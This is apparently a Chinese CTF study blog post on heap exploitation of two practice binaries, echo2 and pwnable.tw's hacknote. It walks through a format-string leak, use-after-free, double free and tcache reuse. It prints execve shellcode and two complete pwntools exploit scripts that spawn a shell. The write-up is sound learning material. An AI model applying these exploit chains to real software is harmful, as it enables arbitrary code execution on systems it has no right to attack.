二进制堆的练习题
2026-03-17 17:27:50 # CTF

fmtstr_uaf

可执行文件为:echo2,尝试执行。

image-20260228171054793

检查文件的安全检测。发现什么安全防护都没开。

image-20260228171134019

反编译

使用IDA Pro进行反编译。

image-20260228171501856

按 “\” 键,可以消除变量的类型,更简洁。

image-20260228171600371

对于反编译的代码中,注意到有(_QWORD *),这是什么?表示指针,除此之外,还有_BYTE表示1字节,_WORD表示两字节,_DWORD,表示Double WORD,两倍的WORD,就是4字节。那么_QWORD,就是Quad WORD,四倍的WORD,就是8字节。小知识点,简单记一下。

image-20260228172705493

这里的,greetingsbyebye是函数对应地址,点击即可跳转。

image-20260228172856618

*(o + 3) = greetings;,相当于是把greetings函数的地址,赋值给 o + 3 * 8 (byte) 地址处的值。

image-20260228173332838

漏洞点

下面分别看一下echo1echo2echo3

echo1如下:

1
2
3
4
int echo1()
{
return puts("not supported");
}

echo2如下:

1
2
3
4
5
6
7
8
9
10
__int64 echo2()
{
char format[32]; // [rsp+0h] [rbp-20h] BYREF

(*(o + 3))(o);
get_input(format, 32);
printf(format);
(*(o + 4))(o);
return 0;
}

echo3如下:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 echo3()
{
char *s; // [rsp+8h] [rbp-8h]

(*(o + 3))(o);
s = malloc(040u);
get_input(s, 32);
puts(s);
free(s);
(*(o + 4))(o);
return 0;
}

很明显,在echo2中,直接使用了 printf(format),这里存在格式化字符串漏洞。

echo2中,先是s = malloc(040u),然后进行了free(s),但是没有把s,置空,这里存在UAF漏洞。

然后再回到我们的main函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // rax
unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
_QWORD v6[4]; // [rsp+10h] [rbp-20h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
o = malloc(40u);
*(o + 3) = greetings;
*(o + 4) = byebye;
printf("hey, what's your name? : ");
__isoc99_scanf("%24s", v6);
v3 = o;
*o = v6[0];
v3[1] = v6[1];
v3[2] = v6[2];
id = v6[0];
getchar();
func[0] = echo1;
func_1_ = echo2;
func_2_ = echo3;
for ( i = 0; i != 121; i = getchar() )
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ");
__isoc99_scanf("%d", &i);
getchar();
if ( i > 3 )
break;
(func[i - 1])();
}
if ( i == 4 )
break;
puts("invalid menu");
}
cleanup(); //漏洞点,double free
printf("Are you sure you want to exit? (y/n)");
}
puts("bye");
return 0;
}

注意到main函数中存在一个cleanup()函数,函数内容如下:

1
2
3
4
void cleanup()
{
free(o);
}

问题就来了,先执行了cleanup函数,然后再进行判断printf("Are you sure you want to exit? (y/n)");,是否进行退出。如果不退出呢?不退出已经free(o)一次,到下一轮,会再free(o)一次,这就造成了double free漏洞。

尝试复现,使程序崩溃,如下:

image-20260302010909009

这里就是成功触发了double free,造成了程序的崩溃。

如何去将格式化字符串漏洞、UAFdouble free这三个漏洞串起来,实现获取shell呢?下面就慢慢分析。

漏洞复现

代码中的变量大致如下:

image-20260307212124689

根据前面的checksec,发现stack是Executable,那么,直接向栈中写入shellcode,然后将返回地址的内容覆盖为shellcode的地址,这种是最简单的获取shell的方法。

这里scanf,输入24个字节,直接写入shellcode。shellcode存储到了v6地址处。

image-20260305152624896

低于24字节的shellcode。

1
b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

泄露shellcode的真实地址

如何知道v6的真实地址是什么呢?这里就需要用到前面的格式化字符串漏洞[1]了,使用该漏洞去泄露shellcode的真实地址。

函数调用栈大致如下:

image-20260307164845127

main函数调用了echo2函数,echo2函数中存在格式化字符串漏洞,可泄露写入的shellcode地址。

现在的想法是,使用格式化字符串漏洞,就是上图中的format位置,去泄露prev ebp的内容,我们就可以拿到了ebp的地址,通过这个ebp去定位shellcode的真实地址。使用IDA Pro进行反编译的时候,这里已经标记了,v6也就是shellcode写入的地址在rbp - 20h位置,这样就可以定位到shellcode的地址了。

image-20260307161220511

那么怎么通过格式化字符串漏洞,恰好输出,prev ebp的内容呢?下面尝试gdb进行动态调试观察。

断点b echo2,输入2进入到echo2函数中。这里我为了方便定位输入了AAAAAA,这个AAAAAA就是前面的shellcode的位置。

image-20260307161631455

然后继续调试,进入到echo2函数中。get_input函数中,我输入了BBBBBB进行定位,这里就是格式化字符串漏洞输入点的位置。

image-20260307162044655

这时候,我们去看栈中的内容,stack 20

image-20260307162341975

这里看AAAAAA这是前面的shellcode的位置,BBBBBB是格式化字符串漏的位置。

这里的0x7fffffffdd00就是前面图中画的rbp的地址,然后0x7fffffffdcc0就是前面图中画的prev rbp的地址,0x7fffffffdce0就是变量v6的地址,其内容就是AAAAAA,也就是前面图中的shellcode的地址,0x7fffffffdca0就是前面图中的format地址,格式化字符串漏洞的位置。这里的0x7fffffffdd00就是前面图中画的rbp的地址,和0x7fffffffdce0前面图中画的shellcode的地址之间,刚好差了0x7fffffffdd00 - 0x7fffffffdce0 = 0x20,这里就和IDA Pro反编译的rbp - 20h完全符合。

现在,我想要知道prev rbp的真实地址,发现其与format之间差了4个参数的位置,我们知道在x86-64架构中,printf优先输出的参数内容是先从6个默认的寄存器rdi, rsi, rdx, rcx, r8, r9,然后才是输出栈中的变量,栈中是4个变量的位置,那么通过printf(%10$p),即可输出prev rbp地址中的真实内容,这个内容也就是rbp的真实地址,使用rbp的真实地址减去0x20,即可确定了shellcode的地址。

返回地址的篡改

目前shellcode的地址已经可以获取到了,如何将shellcode写到返回地址中?

仔细查看IDA Pro反编译的结果,发现其实只需要用到UAF就可以实现返回地址的篡改了。

注意到main函数中的cleanup()函数,该函数为free(o),在输入的时候,输入4,直接执行cleanup(),这里只是freeo

image-20260307203158829

此时进入了下一个循环,我们输入3,进入到echo3函数中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 echo3()
{
char *s; // [rsp+8h] [rbp-8h]

(*(o + 3))(o);
s = malloc(0x20u);
get_input(s, 32);
puts(s);
free(s);
(*(o + 4))(o);
return 0;
}

echo3()(*(o + 3))(o);,其实就是调用了greetings函数,然后又malloc(0x20u);一个变量s

image-20260307205349924

我使用的Ubuntu版本使用的是glibc 2.35,对于free掉的chunk会在tcache中,这时候又malloc了一个0x20的内存,根据tcache的LIFO(Last In First Out)策略,对于新malloc的s,会复用原来的o的部分位置。注意,上图中只是o这个地址里的内容为v6[0],其并不影响原来的变量v6

image-20260307212714587

那么这里突破点就来了,可以通过覆盖greetings函数的返回地址,为shellcode的地址,然后再调用greetings函数,就可以获取shell了。

s = malloc(0x20u);的下一个就是输入 get_input(s, 32);,这里直接输入随机字符,覆盖o、o+1、o+2位置的值,然后再输入shellcode的地址,覆盖greetings的地址,也就是输入,24个字节+shellcode地址。

漏洞触发

执行到下一轮之后,随机选择一个echo2或者echo3都可以触发shellcode。

image-20260307213642626

完整的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
"""
echo2 完整漏洞利用脚本
利用链: FSB泄露栈地址 + UAF覆盖函数指针 -> 执行shellcode获取shell

漏洞分析:
- echo2: printf(format) 格式化字符串漏洞 -> 泄露栈地址
- echo3: free(s)后s未清空 -> UAF, malloc可能返回freed的o的chunk
- cleanup: 选择4后free(o)但输入n继续循环 -> o成为dangling pointer
- o结构: [o,o+1,0+2 24B][greetings 8B][byebye 8B]
- 覆盖greetings后, 下次调用echo2会先执行greetings->shellcode

"""

from pwn import *
import os

context(arch='amd64', os='linux', log_level='info')
context.terminal = ['tmux', 'splitw', '-h']

# 配置
BINARY = './echo2'

def get_conn():
return process(BINARY, cwd=os.path.dirname(os.path.abspath(BINARY)))

def main():
p = get_conn()
elf = ELF(BINARY, checksec=False)

# execve("/bin/sh") shellcode - 无null字节, scanf可读入
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

# 步骤1: 输入shellcode作为用户名 (存在main栈v6, 复制到堆o)
p.recvuntil(b"hey, what's your name? : ")
p.sendline(shellcode)

# 步骤2: 选择FSB模式
p.recvuntil(b"> ")
p.sendline(b"2")

# 步骤3: 消耗 printf("hello %s\n", a1);
p.recvuntil(b"hello ")
p.recvline()

# 步骤4: FSB泄露栈地址, %10$p泄露栈上指针, -0x20得到name缓冲区基址
payload = b"%10$p" + b"AAA"
p.sendline(payload)

p.recvuntil(b"0x")
leaked = p.recvuntil(b'AAA', drop=True)
shellcode_addr = int(leaked, 16) - 0x20

log.success(f"Leaked: 0x{leaked.decode()}")
log.success(f"Shellcode addr: {hex(shellcode_addr)}")

# 步骤5: 选择4触发cleanup free(o), 输入n继续循环 (o已free, UAF)
p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"to exit? (y/n)")
p.sendline(b"n")

# 步骤6: 选择UAF echo, malloc可能返回o的chunk (同size或堆布局)
# 写入 "A"*24 + p64(shellcode) 覆盖 o+0x18(greetings)
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"hello ")
p.recvline()

payload = flat(b"A" * 24, shellcode_addr)
p.sendline(payload)

# 步骤7: 再次选择echo2触发greetings (已覆盖为shellcode)
p.recvuntil(b"> ")
p.sendline(b"2") # 或2、3均可, 都会先调用greetings

p.interactive()

if __name__ == "__main__":
main()

执行脚本,获取shell。

image-20260307215344511

hacknote

运行hacknote文件

image-20260308003756746

检查文件的安全配置。

image-20260308003551746

发现启用了canary且栈是不可执行的[2]

反编译

这是一个去除了符号表的可执行文件。

image-20260308005947536

根据可执行文件的内容和功能,对反编译后的结果进行编辑,便于理解:

image-20260316221849804

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __noreturn main()
{
int v0; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
v0 = atoi(buf);
if ( v0 != 2 )
break;
delete();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
print();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
add();
}
}
}

add函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add()
{
_DWORD *current_control_chunk; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u); // 打开canary
if ( note_count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !note_ptr_array[i] ) // 记录note的地址的数组
{
note_ptr_array[i] = malloc(8u); // note申请了一个8字节大小的空间,注意当前的可执行文件是32位
if ( !note_ptr_array[i] )
{
puts("Alloca Error");
exit(-1);
}
*note_ptr_array[i] = sub_804862B;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
current_control_chunk = note_ptr_array[i];
current_control_chunk[1] = malloc(size);// 后4字节又申请了size大小的空间
if ( !*(note_ptr_array[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(note_ptr_array[i] + 1), size);
puts("Success !");
++note_count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

delete函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int delete()
{
int index; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
index = atoi(buf);
if ( index < 0 || index >= note_content )
{
puts("Out of bound!");
_exit(0);
}
if ( note_ptr_array[index] )
{
free(*(note_ptr_array[index] + 1));
free(note_ptr_array[index]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

print函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int print()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= note_content )
{
puts("Out of bound!");
_exit(0);
}
if ( note_ptr_array[v1] )
(*note_ptr_array[v1])(note_ptr_array[v1]);
return __readgsdword(0x14u) ^ v3;
}

add函数逻辑

下面主要看一下add函数的逻辑。

image-20260316222242507

创建了一个note笔记的数组,这个数组的数量不超过5个。对于创建的数组元素,先是申请了8字节的空间,也就是2个word的空间,这个可执行文件是32位的。

image-20260316222728307

再继续看,这8个字节是怎么用的。

对于代码*note_ptr_array[i] = putnote_ptr_array[i]本身是一个指针,这个指针指向一个地址。现在进行解引用,将该指针指向的地址位置的值,修改为put函数的地址。因为是32位的,所以note_ptr_array[i]指针所指向的地址的值也是32位,占据了4字节。

继续向下看,使用read函数读取了一个size,然后使用

1
2
current_control_chunk = note_ptr_array[i];
current_control_chunk[1] = malloc(size);

这里相当于给note_ptr_array[i]的后4字节,分配了一个size大小的chunk。

image-20260316223132581

分析到这里,清楚的了解到了add函数的逻辑。

delete函数逻辑

下面继续看delete函数的逻辑。

image-20260316225444969

先free掉size大小的内容,然后再free掉8字节的内容。这里发现只是free了内存,但是没有清空内存,这里是存在UAF漏洞的。

image-20260316225518574

漏洞利用

下面去思考🤔,如何进行漏洞的利用?

整个程序的基本逻辑如下:

image-20260317161635324

主要的问题点前面已经看到了,在delete函数中。假设我们add了2个note,然后每个note的size大小为16字节,然后再去把note执行delete函数,delete掉note的0和1,这里看程序的逻辑会变成什么样子。

image-20260317162002369

因为我使用的libc版本为2.35,所以这里free的chunk会放到tcache中。

image-20260317162115345

再来思考🤔,当free掉了malloc的8字节和16字节,会如何放到Bin中进行管理?

在32位系统中,chunk的大小计算是这样的:

  • malloc(8) -> 实际chunk大小 = 8 (请求) + 8 (头部) + 8 (对齐) = 24字节
  • malloc(16) -> 实际chunk大小 = 16 (请求) + 8 (头部) + 8 (对齐) = 32字节

这样的话,就变成了如下图这样:

image-20260317163432482

我还使用了gdb进行了调试,调试的tcache如下:

image-20260316221651127

符合分析的预期。

delete掉note的0和1之后,此时再去add一个note,add一个size为8字节的note,就变成了下面的样子。

image-20260317163830598

add函数是malloc了两个8字节的chunk,这就会去tcache中找chunk,刚好前面delete函数free的chunk满足条件。

注意观察这里的代码逻辑,这现在有了写入的条件了,还差调用写入内容的地方。此时,我们想到了前面的print函数,print函数输出note 0,这里就可以调用我们写入的内容了。

到这里,写入和调用写入都有了,想想怎么串起来去获取shell?🤔

获取shell,需要system函数,现在我们不知道system函数的真实地址是什么,而且可执行文件是启用了ASLR的,无法直接获取到system函数的真实地址。

image-20260317164937194

那么这里就使用之前学到的[3],利用got表获取函数的真实地址,然后计算基地址,进而得到system函数的真实地址。

那么这里就通过puts函数去获取真实的函数地址,因为可执行文件没有启用PIE,直接IDA,获取puts的地址。

image-20260317172610498

然后将got["read"],作为puts函数的参数值,即可获取到read函数的真实地址。

image-20260317170508102

获取read函数的真实地址,就可以获取到了system函数的真实地址。拿到了system函数的真实地址了,怎么去用呢?🤔

一样的再delete掉note 2,这时候的tcache bin中两个8字节的chunk又空了下来,继续add一个size为8的chunk,写入system函数,然后调用print函数,输出note 0就可以了,执行system函数就行了。

image-20260317171246722

这里有一个细节点要注意,为什么system函数传入的内容为|| sh

我们回头仔细看看print函数的内容。

image-20260317171530394

对于代码:

1
(*note_ptr_array[v1])(note_ptr_array[v1]);

对于IDA反编译的结果:()(),相当于(函数地址)(函数的参数),这就相当于函数的调用。

这就很清楚了,*note_ptr_array[v1]system函数的地址,note_ptr_array[v1]为参数值,这里的note_ptr_array[v1]包含了函数的真实地址+参数值。

image-20260317171950813

即函数的调用为:system("0x000aaabb || sh"),只有使用||,才会把sh执行了。

那么思路理清楚了,直接给出hacknote_poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

# hacknote 是 32 位程序,用 i386
context(log_level='debug', arch='i386', os='linux')

DIR = os.path.join(os.path.dirname(__file__), '..', 'practices', 'pwnable.tw hacknote')
elf = ELF(os.path.join(DIR, 'hacknote'))
# 用本机 32 位 libc(ldd 显示的 /lib/i386-linux-gnu/libc.so.6)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# 本地复现:不设 LD_PRELOAD,直接用本机 libc
p = process('./hacknote', cwd=DIR)

def add_note(size, content):
p.recvuntil(b"choice :")
p.sendline(b"1")
p.recvuntil(b"size :")
p.sendline(size)
p.recvuntil(b"Content :")
p.sendline(content)

def delete_note(index):
p.recvuntil(b"choice :")
p.sendline(b"2")
p.recvuntil(b"Index :")
p.sendline(index)

def print_note(index):
p.recvuntil(b"choice :")
p.sendline(b"3")
p.recvuntil(b"Index :")
p.sendline(index)

def exit():
p.recvuntil(b"choice :")
p.sendline(b"4")

add_note(b'16', b"aaaa")
add_note(b'16', b"aaaa")
delete_note(b'0')
delete_note(b'1')

# checksec发现没有启用PIE,IDA直接查找puts的地址
puts_addr = 0x0804862B
read_got_addr = elf.got["read"]

add_note(b'8', p32(puts_addr) + p32(read_got_addr))
print_note(b'0')

# 获取到read的地址
read_address = u32(p.recv(4))
print(read_address)

# 计算libc的基地址
libc_base = read_address - libc.symbols["read"]
# 获取system的真实地址
system_address = libc_base + libc.symbols["system"]

# 删除note2,触发UAF
delete_note(b'2')

# 输入system的参数值
add_note(b'8', p32(system_address) + b'||sh')

# 触发system函数
print_note(b'0')

p.interactive()

执行脚本:

image-20260317172306098

参考


  1. 格式化字符串漏洞 https://x2nn.github.io/2026/01/12/栈迁移和格式化字符串学习/#格式化字符串漏洞介绍 ↩︎

  2. 可执行文件几种常见的安全措施 https://x2nn.github.io/2025/08/19/二进制之ROP技巧学习/#The-NX-bits ↩︎

  3. got表 https://x2nn.github.io/2025/08/30/ELF文件中动态链接库函数的过程/#动态链接过程中相关结构 ↩︎